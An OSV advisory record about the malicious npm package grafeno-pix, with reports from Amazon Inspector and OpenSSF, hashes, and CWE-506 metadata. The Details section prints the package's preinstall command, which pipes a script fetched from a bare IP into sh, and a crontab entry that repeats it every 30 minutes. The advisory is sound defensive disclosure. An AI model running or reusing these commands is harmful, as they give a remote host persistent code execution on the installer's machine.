MAL-2026-15507

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-pix/MAL-2026-15507.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15507
Published
2026-08-28T23:01:11Z
Modified
2026-08-29T02:00:45.682264117Z
Summary
Malicious code in grafeno-pix (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3)

grafeno-pix@1.0.0 declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on npm install. The same hook installs a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh | sh) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.

Source: ossf-package-analysis (e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584)

The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019057",
            "modified_time": "2026-08-28T23:01:11Z",
            "import_time": "2026-08-28T23:14:34.904017134Z",
            "source": "amazon-inspector",
            "sha256": "a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "modified_time": "2026-08-28T23:12:52Z",
            "import_time": "2026-08-28T23:14:30.75400721Z",
            "source": "ossf-package-analysis",
            "sha256": "e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-019114",
            "modified_time": "2026-08-29T01:42:39Z",
            "import_time": "2026-08-29T01:42:58.075699083Z",
            "source": "amazon-inspector",
            "sha256": "e3faea79e69124549d9eb7b1ddf2a55285c8dcdede27aa1911da3a50d84491dd",
            "versions": [
                "1.0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / grafeno-pix

Package

Name
grafeno-pix
View open source insights on deps.dev
Purl
pkg:npm/grafeno-pix

Affected ranges

Affected versions

1.*
1.0.0
1.0.1

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "grafeno-pix-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-j/EdOWtXT3Lu80L2aAFzBQfMb1uNNRI9IHTAAZe0v51rMuufwqUT+5Pe4Z7PyXJmyfsaCUZnvVlCj7oCj17jBQ==",
                "sha1": "f4066e0ade9fbd61206b572169d9030789f95abd"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "9af05cf09c20f5737a4a01301a6942f6f3e34d5a1d08ac046b0a4268e1de3e35ebd89b",
            "sha256": "8858ce71cedc3ad75bc2c2990ac66d7a0e4ed3eec444a05f537dc6078669a58b"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-pix/MAL-2026-15507.json"